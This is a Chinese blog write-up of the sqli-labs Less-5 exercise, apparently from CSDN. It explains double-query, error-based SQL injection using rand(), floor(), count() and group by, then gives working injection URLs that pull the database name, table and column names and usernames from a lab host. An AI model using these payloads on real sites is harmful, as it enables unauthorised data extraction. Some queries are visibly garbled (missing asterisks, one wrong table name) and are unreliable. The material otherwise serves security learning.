sqli-labs(5)

本文详细介绍了SQL注入中的双查询注入原理,包括利用单引号字符型注入,结合rand(), floor(), count()和group by等函数进行信息获取。通过示例解释了如何通过concat()函数和子查询结合,利用错误信息来提取数据。同时提到了基于报错显示的注入方法,展示了如何显示数据库名、爆表名和查列名的过程。" 128602052,15436980,Python自制桌面宠物:打造个性化桌面小挂件,"['Python开发', 'GUI开发', 'PyQt5']
摘要由CSDN通过智能技术生成

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

一.双查询注入–基本原理

上来先看一下是什么点,还是先来sqlmap跑一下子
在这里插入图片描述开始以为还是简‘单位闭合,再一细看没有回显,看样子只能先来基于报错的注入了
在这里插入图片描述

在这里我们先了解一下什么叫做 双查询注入 他的语法结构 以及为什么这样构造
我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。

看一个简单的例子:
Select concat((select database()));

真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。

原理:

双注入查询需要理解四个函数/语句

  1. Rand() //随机函数

  2. Floor() //取整函数

  3. Count() //汇总函数

  4. Group by clause //分组语句

简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

以本地一个名为Security的数据库为例进入数据库,然后通过use security; 就可以切换到security数据库了,然后我们测试一下concat的用法。上图
在这里插入图片描述
顺便测试一下rand()这个随机函数,注意看我执行了几次,每次都会产生一个0-1之间的数值
在这里插入图片描述
继续floor(),这个函数就是返回小于等于你输入的数的整数。然后我们看看双注入查询中的一个简单组合。
select floor(rand()*2);
在这里插入图片描述这下子明白这个函数的作用了吧
我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0。 看这个查询
select concat((select database()),floor(rand()*2));
在这里插入图片描述不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。

如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有3个管理员。这个就会返回3条记录,这里users表里有20个用户,所以返回了20条
在这里插入图片描述

如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有6个数据库。所以会返回6个结果
在这里插入图片描述现在我们准备加上Group By 语句了。
select concat((select database()),floor(rand()2))as a from information_schema.schemata group by a;
我们把concat((select database()), floor(rand()2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。
在这里插入图片描述
意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。
最后把count(
)加上
select count(
), concat((select database()), floor(rand()2))as a from information_schema.tables group by a;
在这里插入图片描述
这样就报出错误来了,错误信息有我们需要的。我的理解是:floor(rand()2)函数取整结果要么是0,要么是1。concat()函数把我们需要参数和0或1合并起来,group by 对其进行分组,自然就会分成两组,X0或X1,然后再把count()引入进来。
count() 是个聚合函数 作用是求表的所有记录数
select * from 表名 这个是查询表的所有记录
select count(
) from 表名 这个是查询表的所有记录数
我的理解是select count(*),2 from concat(payload,tables)as a gropu by a,因为concat无法统计时,所以会报错。
在这里插入图片描述![在这里插入图片描述](https://img-blog.csdnimg.cn/2020031819460491.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppbWdnZw==,size_16,color_FFFFFF,t_70
??????????这个我自己应该是理解,容我找更清晰的解释,再更正之,呵呵!

二.基于报错显示的注入

http://192.168.1.21/sqli-labs-master/Less-5/?id=1 order by 4--+
http://192.168.1.21/sqli-labs-master/Less-5/?id=1' order by 3--+

在这里插入图片描述在这里插入图片描述
把当前数据库显示出来吧

http://192.168.1.21/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a --+   

在这里插入图片描述
接下来爆表名

http://192.168.1.21/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+

在这里插入图片描述结果多余一行 报错了,用 limit函数

http://192.168.1.21/sqli-labs-master/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 4,1),floor(rand()*2))as a from information_schema.tables group by a --+

在这里插入图片描述查列

http://192.168.1.21/sqli-labs-master/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_schema='security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

改limit值,依次查列名
在这里插入图片描述
查字段名

http://192.168.1.21/sqli-labs-master/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

在这里插入图片描述
少就是多,慢就是快,

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值